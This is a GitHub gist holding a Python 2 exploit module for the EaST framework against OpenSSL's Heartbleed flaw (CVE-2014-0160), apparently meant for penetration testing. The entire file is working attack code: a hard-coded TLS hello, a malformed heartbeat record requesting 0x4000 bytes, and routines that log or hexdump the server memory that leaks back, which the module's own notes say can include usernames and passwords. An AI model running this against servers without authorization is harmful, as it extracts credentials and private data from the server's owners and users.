Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save snovvcrash/5f12ffa8ce197e981e7b881903aa5122 to your computer and use it in GitHub Desktop.
Save snovvcrash/5f12ffa8ce197e981e7b881903aa5122 to your computer and use it in GitHub Desktop.
OpenSSL "Heartbleed" exploit module for the EaST Framework
#!/usr/bin/env python
import os
import sys
import socket
import struct
from collections import OrderedDict
sys.path.append("./core")
from Sploit import Sploit
INFO = {}
INFO['NAME'] = 'simple_openssl_heartbleed_scanner'
INFO['DESCRIPTION'] = 'OpenSSL TLS Heartbeat Extension - "Heartbleed" Memory Disclosure'
INFO['VENDOR'] = 'https://www.openssl.org/'
INFO['CVE Name'] = '2014-0160'
INFO['NOTES'] = '''
Heartbleed is a vulnerability that came to light in April of 2014;
it allowed attackers unprecedented access to sensitive information,
and it was present on thousands of web servers,
including those running major sites like Yahoo.
Heartbleed was caused by a flaw in OpenSSL, an open source code
library that implemented the Transport Layer Security (TLS) and
Secure Sockets Layer (SSL) protocols. In short, a malicious user
could easily trick a vulnerable web server into sending sensitive
information, including usernames and passwords.
'''
INFO['LINKS'] = [
'http://heartbleed.com/',
'https://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html',
'https://blog.cryptographyengineering.com/2014/04/08/attack-of-the-week-openssl-heartbleed/',
'https://xkcd.com/1354/'
]
INFO['CHANGELOG'] = '2018-12-03'
INFO['PATH'] = 'Exploits/'
INFO['AUTHOR'] = 'Sam Freeside (@snovvcrash)'
OPTIONS = OrderedDict()
OPTIONS['HOST'] = '127.0.0.1'
OPTIONS['PORT'] = 443
OPTIONS['OUTPUT TO FILE'] = False
class exploit(Sploit):
tls_hello = '''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
'''
tls_heartbeat = '''
18 03 02 00 03
01 40 00
'''
def __init__(self, host='', port=0, output_to_file=False, logger=None):
Sploit.__init__(self, logger=logger)
self.name = INFO['NAME']
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.host = host
self.port = port
self.output_to_file = output_to_file
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', OPTIONS['HOST'])
self.port = self.args.get('PORT', OPTIONS['PORT'])
self.output_to_file = self.args.get('OUTPUT TO FILE', OPTIONS['OUTPUT TO FILE'])
def h2bin(self, x):
return (x.replace(' ', '').replace('\t', '').replace('\n', '').decode('hex'))
def raw2str(self, s):
return ''.join(c if 32 <= ord(c) <= 126 else '.' for c in s)
def hexdump(self, s):
with open('out.txt', 'w') as f:
for b in range(0, len(s), 16):
line = [c for c in s[b:b+16]]
hex_data = ' '.join('%02X' % ord(c) for c in line)
str_data = self.raw2str(line)
f.write(' %04x: %-48s %s\n' % (b, hex_data, str_data))
def recvall(self, count):
buf = b''
while count:
newbuf = self.sock.recv(count)
if not newbuf:
return None
buf += newbuf
count -= len(newbuf)
return buf
def output_results(self, s):
if self.output_to_file:
self.log('[*] Writing results to %s/out.txt ...' % os.getcwd())
self.hexdump(s)
else:
self.log(self.raw2str(s))
def hit_heartbleed(self):
self.sock.send(self.h2bin(self.tls_heartbeat))
while True:
hdr = self.sock.recv(5)
if hdr is None:
self.log('[-] Unexpected EOF receiving record header: Server closed connection')
return False
content_type, version, length = struct.unpack('>BHH', hdr)
if content_type is None:
self.log('[-] No tls_heartbeat response received: Server likely not vulnerable')
return False
payload = self.recvall(length)
if payload is None:
self.log('[-] Unexpected EOF receiving record payload: Server closed connection')
return False
self.log('[+] Received message: type = %d, ver = %04x, length = %d' % (content_type, version, len(payload)))
if content_type == 24:
self.log('[*] Received tls_heartbeat response')
if len(payload) > 3:
self.log('[*] VULNERABLE! Server returned more data than it should')
else:
self.log('[-] Server processed malformed tls_heartbeat, but did not return any extra data')
self.output_results(payload)
return True
elif content_type == 21:
self.log('[*] Received alert response')
self.log('[-] Server returned error, likely not vulnerable')
self.output_results(payload)
return False
def run(self):
self.args()
self.log('[*] Connecting ...')
self.sock.connect((self.host, self.port))
self.log('[*] Sending client tls_hello ...')
self.sock.send(self.h2bin(self.tls_hello))
while True:
hdr = self.sock.recv(5)
content_type, version, length = struct.unpack('>BHH', hdr)
handshake = self.recvall(length)
self.log('[+] Received message: type = %d, ver = %04x, length = %d' % (content_type, version, len(handshake)))
if content_type == 22 and ord(handshake[0]) == 0x0E:
break
self.log('[*] Handshake done ...')
self.log('[*] Sending tls_heartbeat request with length 4 ...')
self.finish(self.hit_heartbleed())
if __name__ == '__main__':
print 'Running exploit %s .. ' % INFO['NAME']
e = exploit('127.0.0.1', 443, output_to_file=False)
e.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment